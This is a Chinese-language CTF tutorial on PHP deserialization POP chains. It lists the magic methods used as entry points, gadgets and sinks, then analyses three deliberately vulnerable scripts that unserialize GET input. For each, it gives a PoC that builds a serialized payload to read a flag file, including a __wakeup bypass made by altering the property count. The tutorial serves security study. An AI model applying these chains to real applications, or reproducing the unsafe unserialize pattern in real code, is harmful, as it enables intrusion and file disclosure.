PHP反序列化之pop链

POP链介绍

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

魔术方法介绍

image-20211110162148224

反序列化的常见起点

  • __wakeup 一定会调用
  • __destruct 一定会调用
  • __toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板

  • __toString 当一个对象被当做字符串使用
  • __get 读取不可访问或不存在属性时被调用
  • __set 当给不可访问或不存在属性赋值时被调用
  • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();

反序列化的常见终点

  • __call 调用不可访问或不存在的方法时被调用
  • call_user_func 一般php代码执行都会选择这里
  • call_user_func_array 一般php代码执行都会选择这里

DEMO1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
//flag is in flag.php
error_reporting(0);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}

接下来我们来分析构造POP链的过程,先看最后,get请求传入一个hello参数,然后对他进行反序列化。

  1. 我们要寻找危险的函数,比如这个DEMO中在Read对象中存在一个file_get(0方法,其中用了file_get_contents读文件,我们大概就懂了题目应该是要通过调用这个方法来读取我们的flag.php文件。
  2. 然后我们来观察每个对象的各种魔术方法,入口多为wakeup,destruct,tostring魔术方法中,我们可以发现Show对象中存在一个tostring魔术方法和一个wakeup魔术方法,在执行unserialize函数的时候会先触发wakeup方法
  3. wakeup魔术方法中对Show对象的source属性进行了一个正则匹配,对应的第二个参数本应为字符串,但是这里如果source属性是某个类的对象,就会触发tostring方法,tostring也是Show对象中的魔术方法,所以这里的source属性应为一个Show类的对象。
  4. tostring中,返回了当前对象的键为str的value值给source,如果这个value不存在,可能会触发__get()魔术方法。
  5. 我们接着寻找,发现在Test类中存在着__get()魔术方法,把当前对象的p属性赋给了function变量,并且以函数的形式去执行,所以如果这里的p属性是一个对象的话,就可以能调用__invoke()魔术方法
  6. 发现Read类中存在__invoke()魔术方法,其中调用了本类中的file_get函数,以var作为形参,所以这里的var应该为flag.php

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Read {
public $var="flag.php";
}

class Show
{
public $source;
public $str;
}

class Test
{
public $p;
}
$R=new Read();
$S=new Show();
$T=new Test();
$T->p=$R;
$S->str['str']=$T;
$S->source=$S;
echo urlencode(serialize($S));

DEMO2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>

  1. 拿到代码,先寻找危险函数,发现在GetFlag类中存在get_flag()函数,输出flag,所以我们最终是需要通过调用GetFlag()中的get_flag()函数来输出我们的flag
  2. string1类中的tostring调用了自身str1属性的get_flag()方法,这里可以知道我们需要把string1的类的str1属性的值是GetFlag类的一个对象,并且需要调用到string1类的tostring这个方法才可以输出flag
  3. 继续往上看,func类的invoke魔术方法拼接了”字符串拼接”和自身的mod1属性的值给了自身的mod2属性,这里如果mod1属性的值是string1的对象,会触发string1对象的tostring方法
  4. 如果要触发func的invoke魔术方法,我们需要用函数的方式来调用func对象,这里可以发现funct中call魔术方法中以函数的形式调用了自身的mod1属性,如果这里的mod1属性是func的对象,就会触发func类中的invoke方法
  5. 需要调用到func类中的invoke方法,必须先调用到funct类中的call魔术方法,call魔术方法是要调用了不存在的方法才会触发,可以看到Call类中的test1方法调用了自身mod1属性下的test2方法,这里如果mod1是funct的一个对象,就可以触发funct的call方法
  6. 然后是start_gg类,,destruct魔术方法调用了自身mod1的test1方法,所以这里应该是个入口,我们需要先让他的mod1为Call类的一个对象

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new Call();
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new funct();
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __construct()
{
$this->str1= new GetFlag();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = new start_gg();
echo urlencode(serialize($a));
?>

DEMO3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
highlight_file(__FILE__);
class A
{
public $a;
private $b;
protected $c;
public function __construct($a, $b, $c)
{
$this->a = $a;
$this->b = $b;
$this->c = $c;
}
protected function flag()
{
echo file_get_contents('/flag');
}

public function __call($name, $arguments)
{
call_user_func([$name, $arguments[0]]);
}

public function __destruct()
{
return 'this a:' . $this->a;
}
public function __wakeup()
{
$this->a = 1;
$this->b = 2;
$this->c = 3;
}
}
class B
{
public $a;
private $b;
protected $c;
public function __construct($a, $b, $c)
{
$this->a = $a;
$this->b = $b;
$this->c = $c;
}
public function b()
{
echo $this->b;
}
public function __toString()
{
$this->a->a($this->b);
return 'this is B';
}
}
if (isset($_GET['str']))
unserialize($_GET['str']);

  1. 这题比较简单,只有两个类,类A中有读取flag文件的方法flag(),还有wakeup方法,起点基本就是类A
  2. 这里A类里有wakeup魔术方法会对A类下面的属性赋值,所以需要绕过,绕过很简单。属性的数量加1即可,然后destruct魔术方法返回了”this a:”与A类下的属性a的值进行拼接
  3. 如果属性a的值为一个对象,会触发tostring魔术方法,刚好B类中有这个魔术方法,并且调用了B类中的属性A的a方法,如果有call魔术方法会进行调用,恰好A类中有call魔术方法。
  4. call返回了call_user_func()函数,这里我看了半天没看明白,最后的在别的师傅的指导下我看明白了,[$name,$arguments[0]]就是$name.$arguments[0],也就是说我们如果要调用这个flag,需要name==A,$arguments[0]==flag.构造poc即可

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

class A

{

public $a;

private $b;

protected $c;

}

class B

{

public $a;

private $b;

protected $c;

public function __construct()

{

$this->b='flag';

}

}

$t=new A();

$s=new B();

$s->a=$t;

$t->a=$s;

$p=serialize($t);

$p=str_replace('A":3','A":4',$p);

echo $p;

echo '</br>';

echo urlencode($p);